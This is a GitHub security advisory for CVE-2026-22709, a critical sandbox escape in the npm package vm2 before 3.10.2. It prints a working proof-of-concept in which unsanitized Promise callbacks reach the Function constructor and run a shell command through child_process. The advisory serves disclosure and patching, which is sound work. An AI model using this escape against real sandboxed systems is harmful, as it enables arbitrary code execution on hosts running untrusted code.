GitHub Advisoryadvisory · npm

GHSA-99p7-6v5w-7xg8 vm2 has a Sandbox Escape

CRITICAL Published 2026-01-26 Modified 2026-01-29 Official page ↗
Aliases
CVE-2026-22709
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-693, CWE-913, CWE-94
Reviewed
2026-01-26

Affected packages

• npm vm2: < 3.10.2 → fixed in 3.10.2

Description

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.

Related

Alias · CVE (1)

  • CVE-2026-22709 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (3)

  • CWE-693 Protection Mechanism Failure weakness
  • CWE-913 Improper Control of Dynamically-Managed Code Resources weakness
  • CWE-94 Improper Control of Generation of Code weakness

References